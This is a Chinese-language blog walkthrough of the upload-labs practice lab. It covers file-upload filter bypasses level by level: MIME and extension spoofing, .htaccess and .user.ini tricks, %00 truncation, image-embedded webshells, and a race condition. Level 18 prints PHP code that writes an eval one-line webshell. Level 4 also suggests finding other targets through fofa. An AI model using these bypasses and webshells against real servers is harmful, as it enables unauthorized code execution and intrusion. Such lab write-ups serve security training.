upload-labs-master通关教程

随笔6天前发布 路漫索
20 0 0

第1关

upload-labs-master通关教程

我们将我们的木马1.php上传upload-labs-master通关教程

显示无法上传,那我们将木马文件格式改为可上传的.jpg,然后抓包,将文件再改回.php即可upload-labs-master通关教程upload-labs-master通关教程

在放包即可成功upload-labs-master通关教程

我们去访问,输入参数能出现结果即可成功upload-labs-master通关教程

第2关

upload-labs-master通关教程

先传php文件,抓包,发现包中有Content-Type标签,对文件的Content-Type进行修改,修改为“image/jpeg”,表示是“jpg”文件。

upload-labs-master通关教程

放行upload-labs-master通关教程

测试连接

upload-labs-master通关教程

第3关

upload-labs-master通关教程

查看源码,发现他过滤了一些格式,那我们不用这些格式即可,比如说.php5

upload-labs-master通关教程

upload-labs-master通关教程

上传成功upload-labs-master通关教程

第4关

upload-labs-master通关教程

查看源代码

upload-labs-master通关教程

很明显上关的办法不能用了,那么我们采用.htaccess绕过

htaccess⽂件是Apache服务器中的⼀个配置⽂件,提供了针对⽬录改变配置的⽅法.通过htaccess⽂件

可以实现:⽹⻚301重定向、⾃定义404⻚⾯、改变⽂件扩展名、允许/阻⽌特定的⽤户或者⽬录的访

问、禁⽌⽬录列表、配置默认⽂档等功能。

重要功能:可以指定某个⽂件当作php⽂件执⾏(拿php解析器解析)

前提条件:Apache开启rewrite模块。

要 htaccess 的规则⽣效 则需要在 apache 开启 rewrite 重写模块,因为 apache 是多数都开启这个模块,所以规则⼀般都⽣效;

编写.htaccess⽂件,内容解释:将1.jpg⽂件解析成php⽂件

<FilesMatch “1.jpg”>

SetHandler application/x-httpd-php

</FilesMatch>

1.
上传.htaccess⽂件

upload-labs-master通关教程

2.
上传1.jpg⽂件

upload-labs-master通关教程

这里可能会因为环境的原因会无法成功,大家在fofa上多找几个靶场试试即可

第5关

upload-labs-master通关教程

这关是.user.ini绕过

.user.ini⽂件介绍

21
php.ini是php的⼀个全局配置⽂件,对整个web服务起作⽤;⽽.user.ini和.htaccess⼀样是⽬录的配置⽂

件,.user.ini就是⽤户⾃定义的⼀个php.ini,我们可以利⽤这个⽂件来构造后⻔和隐藏后⻔。

.user.ini⽂件内容

⽂件包含操作

auto_prepend_file = “x.jpg” 表示加载第⼀个PHP代码之前执⾏指示(包含的)⽂件

auto_append_file = “x.jpg” 表示加载第⼀个PHP代码之后执⾏指示(包含的)⽂件

首先创建.user.ini⽂件,⽂件内容为php代码,然后将其上传
upload-labs-master通关教程

upload-labs-master通关教程

再上传1.jpg

upload-labs-master通关教程

上传过后访问发现不能解析,这⾥有⼀个局限的点,在.user.ini 中使⽤这条配置,需要在同⽬录下的其 他.php ⽂件中包含配置中所指定的⽂件,也就是说需要该⽬录下存在.php ⽂件。

提示为:存在readme.php⽂件,访问发现正常解析 访问任意php⽂件

访问readme.php,即可访问到我们上传的1.jpg内容

upload-labs-master通关教程

第6关

upload-labs-master通关教程

查看源码,发现与之前相比少了强制转化小写,那我们可以试试大小写绕过

upload-labs-master通关教程

第7关

upload-labs-master通关教程

这关少了收尾去空,那我们就上传一个文件末尾带空格的,在Windows操作系统命名时, 空格 是不允许写⼊到结尾得,windows会⾃动将其删除掉。所以我们通过抓包来实现

upload-labs-master通关教程

在文件名后加个空格,放行即可

upload-labs-master通关教程

第8关

upload-labs-master通关教程

与之前相比少了删除文件名末尾的.,那我们在文件末尾加.试试,在Windows操作系统命名时, .是不允许写⼊到结尾得,windows会⾃动将其删除掉。所以我们通过抓包来实现

upload-labs-master通关教程

upload-labs-master通关教程

第9关

upload-labs-master通关教程

这关少了

去除字符串::$DATA

那就与上关一样的步骤
upload-labs-master通关教程
upload-labs-master通关教程

这里显示403,我们将::$DATA去掉即可,因为::$DATA只是标识符,并不是文件名

upload-labs-master通关教程

第10关upload-labs-master通关教程

这关要绕过一下两点,利用这两点,我们抓包绕过

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = trim($file_ext); //首尾去空

我们创建一个.php. .就可以绕过upload-labs-master通关教程

upload-labs-master通关教程

第11关

upload-labs-master通关教程

这关暂时没看出什么,那我们先试试正常上传

upload-labs-master通关教程

上传成功,但我们查看时,发现把我们的php删掉了,那我们试试双写能不能绕过upload-labs-master通关教程

upload-labs-master通关教程

第12关

这关采用%00截断绕过

       ⽂件上传%00绕过是指攻击者在⽂件上传时,在⽂件名后⾯添加%00字符,从⽽绕过服务器端的⽂件 类型、拓展名以及⼤⼩限制,成功上传恶意⽂件到服务器端,从⽽进⾏攻击的⼀种技巧。

00截断时操作系统层的漏洞,由于操作系统是C语⾔或汇编语⾔编写的,这两种语⾔在定义字符串时, 都是以0x00作为字符串的结尾,操作系统在识别字符串时,当读取道0x00字符时,就认为读取到了⼀个 字符串的结束符号,因此,我们可以通过修改数据包,插⼊0x00字符的⽅式,达到字符串截断的⽬的。

       %00截断通常时绕过⽩名单的限制

首先,我们正常上传抓包
upload-labs-master通关教程

这个的意思就是我们将1.jpg的文件名截断了,但是我们把他的内容传到了6.php中,之后我们正常访问6.php即可

第13关

这关与上一关一样,同样是⽩名单限制后缀名,$_POST[‘save_path’]是接收客户端提交的值,客户端可任意修改。

所以会产⽣安全漏洞; POST 下直接注⼊%00 是不⾏的,需要把%00 解码变成空⽩符,截断才有效。才能把⽬录截断成⽂件名
upload-labs-master通关教程

将%00的hex码更改为00,然后上传

upload-labs-master通关教程

第14关upload-labs-master通关教程

何为图片马,即图片里包含木马

制作图⽚⼀句话,使⽤copy 1.gif/b+123.php/a shell.jpg将 php ⽂件附加在 jpg 图⽚上,直接上传即可;

/b代表以⼆进制编码打开⽂件,/a代表以ASCII码编码打开⽂件

upload-labs-master通关教程

之后我们上传我们的shell.jpg
upload-labs-master通关教程

点开
upload-labs-master通关教程
upload-labs-master通关教程

我们让file等于我们的图片地址即可

upload-labs-master通关教程

第15关

与14关一样

upload-labs-master通关教程

第16关

与14关一样upload-labs-master通关教程

第17关

与14关一样upload-labs-master通关教程

第18关

upload-labs-master通关教程这个源代码的意思是只接受图片,其他文件可以传,但是会检测,检测如果不是图片就会被删除,那么我们就可以用bp攻击,因为他会检测我们上传的文件,如果我们上传的文件内容是创建一个php文件,那这个文件并不是我们上传的,而是生成的,则不会被删除,我们创建一个6.php,内容:<?php fputs(fopen(‘webshell.php’ , ‘w’), ‘<?php @eval($_POST[“cmd”])?>’);?> 这个代码的意思是,我们运行6.php是,会创建一个webshell.php,这个php的内容为一句话木马

upload-labs-master通关教程

此时我们可以看到我们的上传目录是空的,我们现在去上传6.phpupload-labs-master通关教程

抓包发送至攻击器,让他一直去上传upload-labs-master通关教程

然后我们再去访问6.php

upload-labs-master通关教程

将他也抓包,发送至攻击器,让他一直访问upload-labs-master通关教程

这时我们在看上传目录,就有了webshell.phpupload-labs-master通关教程

第19关

与18关一样

upload-labs-master通关教程

第20关

upload-labs-master通关教程

这关采用之前的图片马或截断都可以做

第21关

upload-labs-master通关教程

(这里我们可以定义一个数组,利用如下代码构造数组来绕过)

.$file_name = reset($file) . ‘.’ . $file[count($file) – 1];

正常上传一句话(这里需要将一句话改成图片文件来绕过MIME校验)

upload-labs-master通关教程

抓取数据包,构造数组如下成功上传

upload-labs-master通关教程

Q&A
Q:为何这里使用数组save_name[2]那
A:由后台站点代码可知:

$file_name = reset($file) . ‘.’ . $file[count($file) – 1];

count(file)=2
$file[count(file)-1]=1,而
$file[1]为空,所以
$file_name=upload-20.php

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...